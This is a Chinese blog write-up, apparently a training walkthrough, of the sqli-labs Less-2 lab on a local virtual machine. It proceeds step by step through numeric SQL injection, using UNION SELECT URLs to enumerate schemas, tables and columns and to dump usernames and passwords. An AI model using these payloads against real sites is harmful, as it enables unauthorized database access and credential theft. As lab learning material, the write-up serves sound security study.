sqli-labs靶场第二关less-2

sqli-labs靶场第二关less-2

本次测试在虚拟机搭建靶场,从主机测试

1、输入?id=1和?id=2发现有不同的页面回显

2、判断注入类型

http://192.168.128.3/sq/Less-2/?id=1'

从回显判断多一个' ,预测可能是数字型注入

输入

http://192.168.128.3/sq/Less-2/?id=1 and 1=1

http://192.168.128.3/sq/Less-2/?id=1 and 1=2

发现and 1=1 正常回显,and 1=2 回显错误,确定数字型注入

3、确定列数

http://192.168.128.3/sq/Less-2/?id=1 group by 5

http://192.168.128.3/sq/Less-2/?id=1 group by 4

http://192.168.128.3/sq/Less-2/?id=1 group by 3

group by 3 的时候回显正常,确定有三列。

4、确定回显位

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,2,3

2.3位为回显位

5、查询数据库名和版本

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,database(),version()

6、爆出数据库名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

7、爆出表名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

8、爆出列名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'

9、爆出数据

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(username,'~',password),3 from security.users

** 大功告成**

相关推荐
顧棟1 小时前
【ES实战】 索引模板「可追溯、可校验」:一种模板治理的工程化思路
java·数据库·elasticsearch
Decay__2 小时前
SQLServer 监控体系构建 —— sql_exporter + Prometheus + Grafana 全栈实战
运维·数据库·sql·mysql·架构
tianyuanwo3 小时前
NocoDB 系统手册:PostgreSQL 主机资产管理的界面层实施方案
数据库·postgresql·oracle
Umi·3 小时前
MySQL之多表关联查询练习
数据库·mysql
实泽有之,无泽虚之3 小时前
Windows环境bat脚本自动备份MySQL数据库并清理旧备份文件
数据库·mysql
索西引擎4 小时前
MySQL 进阶:锁机制
数据库·mysql
web安全成长日记4 小时前
DNS解析全过程:从递归查询、根域与权威 DNS 到缓存 TTL|网络安全其实很简单
安全·web安全·缓存
龙腾AI白云5 小时前
具身智能模仿学习与人类示教:从观察中习得动作
数据库·机器学习·知识图谱·pygame
Databend5 小时前
活动邀请函|AI 时代的湖仓实践,从应用场景到 Cloud Agent 上手
大数据·数据库·agent